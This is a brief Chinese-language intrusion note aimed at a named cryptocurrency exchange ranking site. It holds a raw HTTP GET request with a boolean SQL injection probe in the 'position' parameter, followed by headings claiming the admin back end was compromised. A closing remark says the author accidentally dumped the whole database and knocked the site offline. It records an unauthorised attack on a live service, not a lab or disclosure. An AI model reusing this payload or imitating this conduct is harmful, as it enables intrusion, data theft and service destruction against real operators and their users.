目标：

前台地址：

FTFTX-全球数字货币交易所综合平台排行

漏洞地址：

SQL包情况：

GET /ad/queryAll?position=index%27and%27e%27%3D%27e HTTP/1.1
Host: pc.ftftx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US
Autho_token: undefined
Origin: https://www.ftftx.com
Referer: https://www.ftftx.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
X-Forwarded-For: 43.135.2.75
X-Forwarded-Host: pc.ftftx.com
X-Forwarded-Proto: https
X-Forwarded-Url: https://pc.ftftx.com/ad/queryAll?position=index
Accept-Encoding: gzip

后台攻破：

注：最后手误脱全裤站点死了